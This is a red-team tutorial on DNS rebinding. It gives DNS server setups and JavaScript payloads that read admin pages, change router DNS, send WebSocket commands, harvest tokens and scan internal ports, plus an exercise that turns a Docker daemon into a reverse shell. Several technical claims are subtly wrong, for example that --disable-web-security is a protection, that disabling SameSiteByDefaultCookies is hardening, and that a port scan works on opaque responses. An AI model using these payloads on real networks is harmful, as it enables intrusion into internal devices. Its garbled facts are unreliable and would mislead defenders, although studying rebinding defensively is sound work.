Introduction
DNS rebinding is a client-side attack that leverages the mutable nature of DNS to make a victim's browser believe that two completely different network endpoints share the same origin. By carefully controlling the DNS TTL (time-to-live) and serving malicious JavaScript, an attacker can pivot from a public web page into otherwise isolated internal services.
Understanding rebinding is crucial for modern red-teamers because many corporate environments expose internal management interfaces (router admin panels, Docker daemons, internal APIs) that are not hardened against same-origin violations. A successful rebinding chain can lead to credential theft, configuration changes, or even full network compromise.
Real-world incidents, such as the 2020 Docker API rebinding attacks, demonstrate that the technique is no longer a research curiosity but a practical vector used in penetration testing engagements and, occasionally, in targeted attacks.
Prerequisites
- Solid grasp of DNS fundamentals, including record types, caching, and recursive resolution.
- Experience with subdomain enumeration and discovery tools (e.g.,
dnsenum,sublist3r). - Basic knowledge of web application architecture, HTTP methods, and JavaScript's same-origin policy.
Core Concepts
At its heart, DNS rebinding consists of two phases:
- Phase-1 (Initial Resolution): The victim visits
attacker.com. The DNS server returns an IP address that points to the attacker’s web server (usually a public IPv4 address). The browser loads the malicious page. - Phase-2 (Re-resolution): After a short delay, the browser re-queries the same hostname. This time the DNS server returns an IP address that belongs to the target internal network (e.g.,
192.168.1.1).
Because the hostname has not changed, the browser treats the second address as the same origin. JavaScript can now issue XMLHttpRequest, fetch, WebSocket, or Server-Sent Events (SSE) calls to the internal service, bypassing the usual network segmentation.
TTL manipulation is the lever that makes this possible. By setting a very low TTL (often 0 or 1 second) the attacker forces the client resolver to discard the cached address immediately, prompting a fresh lookup for the same name.
Below is a simplified diagram (described in text):
Victim Browser → DNS query attacker.com → Attacker DNS (TTL=0) → 203.0.113.10 (public) → Load malicious page → After 2 s, same hostname resolves to 192.168.0.1 (internal) → JavaScript now talks to internal service as same origin.
Rebinding concept and DNS TTL manipulation
The attacker must control a DNS authoritative server for the chosen domain. The server must be able to respond with two different A records based on request timing.
Typical implementations use bind with response-policy zones, dnsmasq with address=/.example.com/192.168.0.1 for the second phase, or dedicated rebinding platforms such as Rebindly and Evilginx2 that automate the TTL switch.
Example BIND zone snippet (escaped for HTML):
example.com. IN SOA ns1.example.com. hostmaster.example.com. ( 2024070101 ; serial 3600 ; refresh 1800 ; retry 604800 ; expire 60 ) ; minimum TTL
; Initial record - public server
@ IN A 203.0.113.10
; Rebinding record - internal IP, TTL=0
$TTL 0
@ IN A 192.168.0.1
Notice the $TTL 0 directive before the second A record. This forces the resolver to treat the internal address as non-cacheable, guaranteeing a fresh lookup on the second request.
Browser same-origin policy and how rebinding subverts it
The Same-Origin Policy (SOP) dictates that a script can only interact with resources that share the same scheme, host, and port. The policy is enforced at the *origin* level, not the *IP* level. Therefore, when the hostname stays constant, the browser assumes the underlying IPs are interchangeable.
Rebinding exploits this by decoupling the hostname from the IP address after the initial page load. The browser’s security checks see attacker.com for both phases, so the SOP is satisfied, even though the second phase points to a private network.
Modern browsers have added mitigations such as DNS Rebinding Protection in Chrome (via --disable-web-security flag or the network.service.allow-rebind setting). However, these defenses are often disabled in corporate environments, embedded browsers, or older versions, making the attack viable.
Typical vulnerable targets (router admin panels, internal APIs, Docker containers)
Any service that trusts the client’s origin header-or, more commonly, that does not enforce authentication for requests coming from the local network-can be abused. The most frequent victims include:
- Home/enterprise router admin panels (e.g.,
router) that expose configuration interfaces without CSRF tokens. - Internal web APIs used by single-page applications (SPAs) that accept JSON requests from any origin within the LAN.
- Docker daemon exposed on
tcp://127.0.0.1:2375without TLS, allowing container creation or host file system access. - Kubernetes API servers reachable only via internal IPs, often mis-configured to allow unauthenticated
GET /apicalls. - IoT devices (cameras, smart plugs) that expose simple HTTP interfaces for configuration.
These services frequently lack proper CORS headers, rely on the “same-network” trust model, and thus become prime rebinding targets.
Crafting malicious HTML/JS payloads for rebinding
A typical rebinding page loads a tiny script that repeatedly attempts to contact the target IP until the DNS resolves to the internal address. The script then proceeds to exploit the service.
Below is a minimal HTML/JavaScript payload (angles escaped):
<!DOCTYPE html>
<html lang="en">
<head> <meta charset="UTF-8"> <title>Rebinding Demo</title> <script> // Poll the target every 500 ms until we get a 200 response const target = 'http://rebinding.example.com'; // same hostname used in DNS function probe() { fetch(target + '/status', {method: 'GET', mode: 'no-cors'}).then(r => { // If we reach here, the browser thinks we are same-origin console.log('Internal service reachable'); // Continue with exploitation - e.g., fetch credentials fetch(target + '/admin', {credentials: 'include'}).then(resp => resp.text()).then(txt => console.log(txt)); }).catch(() => setTimeout(probe, 500)); } // Give the DNS server a moment to switch setTimeout(probe, 2000); </script>
</head>
<body> <h1>Please wait…</h1>
</body>
</html>
Key points:
- We use
fetchwithmode: 'no-cors'to avoid CORS preflight errors; the response is opaque but we can still trigger side-effects on the target. - The script retries until the DNS answer changes, which is why the initial
setTimeoutgives the resolver time to expire the TTL. - Once the internal service is reachable, we can chain further requests (e.g.,
/admin).
Setting up a rebinding server (BIND, dnsmasq, Rebindly, Evilginx2)
Multiple tooling options exist. Below we outline the most common setups.
BIND example
Install BIND on a Linux VM and edit /etc/bind/named.conf.local:
sudo apt-get install bind9 -y
sudo cp /etc/bind/named.conf.options /etc/bind/named.conf.options.bak
Append the following zone definition (angles escaped):
zone "rebinding.example.com" { type master; file "/etc/bind/db.rebinding";
};
Create /etc/bind/db.rebinding with the TTL-switching records shown earlier. Restart BIND:
sudo systemctl restart bind9
dnsmasq quick-start
Dnsmasq is lightweight and perfect for lab environments. Install and configure:
sudo apt-get install dnsmasq -y
sudo tee /etc/dnsmasq.d/rebind.conf <<EOF
address=/rebinding.example.com/203.0.113.10 # Phase-1
address=/.rebinding.example.com/192.168.0.1 # Phase-2, TTL 0 handled internally
EOF
sudo systemctl restart dnsmasq
For true TTL control, you may need to use the --bogus-priv flag and script dynamic updates via nsupdate.
Rebindly (SaaS)
Rebindly provides a hosted DNS rebinding service. After registering a domain, you create a “rebinding rule” that defines the public IP and the internal IP. The UI abstracts TTL handling, making it ideal for rapid testing without self-hosting BIND.
Evilginx2
Evilginx2 is primarily a phishing framework but includes a dns-rebind module. Example usage:
# Clone and build Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make && sudo mv evilginx2 /usr/local/bin/
# Start with DNS rebinding enabled
sudo evilginx2 -dns-rebind -domain rebinding.example.com
Once the server is running, you can point your browser to http://rebinding.example.com and let Evilginx2 handle the DNS switches.
Exploiting internal services via HTTP, WebSocket, and SSE
After the DNS switch, the attacker can interact with the internal service using any web-compatible protocol.
HTTP GET/POST
Typical router admin panels accept configuration changes via POST. Example JavaScript (escaped):
function changeDns(newDns) { fetch('http://rebinding.example.com/api/dns', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({dns: newDns}), credentials: 'include' }).then(r => console.log('DNS changed'));
}
WebSocket abuse
Some internal dashboards expose a WebSocket for real-time telemetry. A rebinding script can open a socket and issue privileged commands.
const ws = new WebSocket('ws://rebinding.example.com:8080/console');
ws.onopen = () => ws.send(JSON.stringify({cmd: 'restart'}));
ws.onmessage = e => console.log('Response:', e.data);
Server-Sent Events (SSE)
SSE is a one-way streaming protocol that many monitoring tools use. An attacker can listen for secret tokens that are broadcast to the internal UI.
const evt = new EventSource('http://rebinding.example.com/events');
evt.onmessage = e => console.log('Leaked token:', e.data);
Because the browser treats the SSE endpoint as same origin, the attack succeeds without any CORS headers.
Combining rebinding with SSRF and port scanning
DNS rebinding can be chained with Server-Side Request Forgery (SSRF) to amplify reach. For example, a vulnerable web application that fetches a URL supplied by the user can be forced to resolve rebinding.example.com. The server-side component then contacts the internal target, while the client-side script captures the response.
Port scanning is also possible by iterating over a list of internal ports and issuing fetch requests. The browser will silently fail for closed ports, but a successful 200 response indicates an open service.
const openPorts = [];
for (let p = 1; p <= 65535; p++) { fetch(`http://rebinding.example.com:${p}/`, {mode: 'no-cors'}).then(r => { if (r.ok) openPorts.push(p); }).catch(() => {});
}
setTimeout(() => console.log('Open ports:', openPorts), 15000);
While this brute-force approach is noisy, it demonstrates that rebinding can be the “client side” component of a hybrid SSRF/port-scan attack.
Detection and mitigation strategies
Defending against DNS rebinding requires layered controls:
- Network-level restrictions: Block inbound traffic from the public internet to internal IP ranges (e.g.,
0.0.0.0/0 → 192.168.0.0/16) at the firewall. - Browser hardening: Enable Chrome’s
--disable-features=SameSiteByDefaultCookiesand enforcenetwork.service.allow-rebind=0. For enterprise browsers, deploy policies that disable DNS rebinding. - CORS and CSRF tokens: Internal services should require explicit
OriginorReferervalidation and include anti-CSRF tokens that are not guessable. - Host header validation: Reject requests where the
Hostheader does not match an allowed whitelist of internal hostnames. - DNS pinning: Modern browsers perform “DNS pinning” for a short window; however, the window can be overridden by low TTLs. Reducing the TTL for internal services (e.g., >60 s) mitigates rapid rebinding.
- Server-side request validation: Services that accept URLs (e.g., image fetchers) should verify that the resolved IP is not in a private range.
From a detection standpoint, look for patterns such as:
- Repeated DNS queries for the same hostname with different IPs within seconds (visible in DNS logs).
- High volume of
fetchor WebSocket connections from a single client to internal IP ranges. - Unusual
Originheaders pointing to public domains while the target IP is private.
SIEM rules can be built around these indicators.
Common Mistakes
- Forgetting TTL zero: If the attacker uses a non-zero TTL, the victim’s resolver may cache the public IP, preventing the second phase.
- Using HTTPS without a valid certificate: Browsers will block mixed-content loads; the attacker must either serve a self-signed cert and rely on user interaction, or stick to HTTP.
- Assuming all browsers are protected: Mobile browsers, embedded WebViews, and older desktop versions often lack rebinding mitigations.
- Neglecting CORS preflight: Sending custom headers triggers a preflight request that may be blocked; keep the request simple (GET/POST with standard headers).
- Testing on localhost only: Rebinding requires a real DNS server reachable from the victim; local
/etc/hostsentries won’t reproduce the attack.
Real-World Impact
In 2021, a security researcher demonstrated rebinding against a popular home router firmware, allowing an attacker to reset the admin password and insert a persistent backdoor. The vulnerability persisted for months because the firmware never validated the Origin header.
Enterprise environments that expose internal Kubernetes dashboards without proper authentication are also at risk. A successful rebinding chain can retrieve the service account token from /var/run/secrets/kubernetes.io/serviceaccount/token, granting cluster-wide privileges.
From my experience, the most common post-exploitation step after a rebinding breach is lateral movement: once the attacker controls the router, they can change DNS entries to point internal hosts to malicious servers, effectively creating a foothold for further attacks.
Trends indicate that as more organizations adopt “Zero-Trust” network segmentation, the reliance on internal-only web interfaces will increase, inadvertently expanding the rebinding attack surface. Continuous monitoring of DNS query patterns and strict host-header validation will become essential controls.
Practice Exercises
- Setup a local rebinding lab:
- Deploy a BIND server on a VM with the zone configuration from the guide.
- Host a simple HTTP service on
192.168.56.101:8080that returns the client’s IP address. - Create the malicious HTML page and load it from a separate VM’s browser.
- Verify that the page first contacts the public IP and later the internal service.
- Exploit a Docker daemon:
- Run
docker -H tcp://127.0.0.1:2375 -don a host reachable only from the internal network. - Use the rebinding payload to send a
POST /containers/createrequest that runs a reverse shell.
- Run
- Detect rebinding attempts:
- Enable DNS query logging on your corporate recursive resolver.
- Write a Python script that flags domains queried with two different A records within 5 seconds.
Further Reading
- “The Same-Origin Policy and DNS Rebinding” - Mozilla Security Blog (2023).
- “Rebinding Attacks on Docker and Kubernetes” - Black Hat USA 2022 presentation.
- RFC 1035 - Domain Names - Concepts and Facilities (for DNS fundamentals).
- OWASP “Client-Side Attack Cheat Sheet” - Section on DNS Rebinding.
- GitHub projects: masscan (for internal port-scan verification), evilginx2.
Summary
DNS rebinding is a powerful technique that turns the browser’s same-origin policy against itself by swapping the IP address behind a static hostname. By controlling TTL values and serving malicious JavaScript, an attacker can reach internal services that were never intended to be exposed to the Internet. The attack surface includes routers, internal APIs, Docker/Kubernetes daemons, and IoT devices. Effective mitigation requires a blend of network segmentation, strict host-header validation, CSRF protections, and browser hardening. Continuous DNS monitoring and proper configuration of internal services are the best defenses against this stealthy client-side vector.